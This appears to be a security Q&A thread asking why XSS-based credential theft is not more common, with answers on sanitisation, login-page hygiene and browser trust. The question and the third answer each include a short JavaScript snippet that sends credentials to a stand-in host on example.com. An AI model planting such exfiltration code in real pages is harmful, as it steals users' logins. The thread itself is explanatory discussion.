Why aren't we all compromised on the internet?

Question

Well, I've been thinking about this for a while now.

Within the last decade, we've used various ways to make our websites look dynamic and live. For example, in JavaScript, it's quite easy to send data to a remote server using AJAX, even easier with Websockets.

Example for some malicious AJAX:

   xmlHttp = new XMLHttpRequest();
   function process() {
     var secret = getCredentials();
     if(xmlHttp.readyState == 4 || xmlHttp.readyState == 0) {
        xmlHttp.open("GET", "http://example.com/logger.php?" + secret, true);
        xmlHttp.send(null);
     }
     else
        setTimeout("process()", 1000);
    }

Also, all of you will most likely agree with me that handling user input is a very common task that can be accomplished by using just a few lines of JavaScript.

So, then, why is that we don't see any amateurs try to perform XSS attacks that try to send our keyboard input to a webserver in the background in order to retrieve our login data?

Why is it that we do not seem to be permanently suffering from those kinds of attacks on every fourth website we visit, forcing us to change our login credentials in extremely short time spans?

Are all of our websites just so well-secured?

TL;DR: Why don't we need to change passwords every few days because of seemingly trivial XSS attacks?

Edit:

As for AJAX, it seems that HTTP handles this issue just fine:

    XMLHttpRequest cannot load http://example.com/logger.php?password.
    No 'Access-Control-Allow-Origin' header is present on the requested
    resource.

So at least for HTTP requests, this doesn't seem to be a problem. But as far as I know, websockets don't care about the source that they're reached from, or do they?

Answer 1

The number one reason why we are not all compromised is that there are just not enough attackers to do the job, and most of you are not interesting enough targets either. Civilization as a whole can keep on running because most people are basically honest; you can walk in the street among complete strangers and none of them will try to punch you or stab you, despite the low numbers of police forces. This also works on the Internet.

Now that reason is also the one which explains while security holes induced by sloppy development appear to be allowed to linger for years. XSS ultimately comes from Web site developers who fail to handle input data from clients as data; they reflect such data by dumping it unmodified in pages returned to other clients, a fateful gesture by which they turn that data into code. This is a design bug, and since it has security consequences, that bug is a vulnerability.

Things are getting better gradually, though: now, many Web developers are at least aware that putting together a secure login page is not as easy as it seems. Among the operational rules that Web developers begin to follow more or less consciously is the idea that a "login page" is something special that should be separated from "normal pages" and that should, in particular, NOT contain any user-reflected data. A lot of programmers don't put it that way, either in written words or in the privacy of their mind, but they still follow such "hygienic" behaviours, which, like their biological counterparts, are effective even when you don't understand them.

Answer 2

Generally speaking, login pages don't display content that can be attacked with XSS. There isn't a good way to alter the code on that page to be able to monitor the entry. Also, in general, XSS protection is pretty good on most modern sites, at least on the parts where it could be particularly damaging.

Answer 3

Preventing cross-domain WebSockets is server-sided. So yes, a successful XSS attack can create a websocket connection to a 3rd party server and send sensitive information. But it's far from the only technique an XSS attack can use to leak information to a 3rd party server. Take the following code for example:

var password = getCredentials().password;
var account = getCredentials().account; 
new Image('http://www.example.com/l337hax0r/' + account + '_' + password);

Your browser would then try to load an image with a name which includes your username and password. The website example.com would then have an entry in its request-log with your account and password.

So "Why is it that we do not seem to be permanently suffering from those kinds of attacks on every fourth website we visit"? Because XSS attacks are only possible on websites which embed user-generated content. Sure, today almost any website does in some way. But filtering user-generated content in a way which makes it impossible to embed executable script-code in it isn't that hard either. There are lots of libraries which provide this functionality.

Answer 4

The security of the web hinges on trust.

You trust users to use a secure browser. You trust the browser to prevent cross-domain requests unless explicitly permitted (this seems like you're main concern). You trust your Twitter, Facebook, and jQuery libraries not to be doing anything nefarious. And as the user, you presumably trust only certain dot-coms to be real careful with their data, their practices, and with whom they trust.

Also ... as the user, you presumably don't install toolbars, plugins, and "anti-malware software" from sources you don't trust.

That said, there are plenty of end-users who do "lose" their credentials. There are plenty of dot-coms that are compromised. One or the other trusts someone or something they shouldn't have. Or one of them simply overlooks something. Even the major players can leave themselves open to XSS attacks.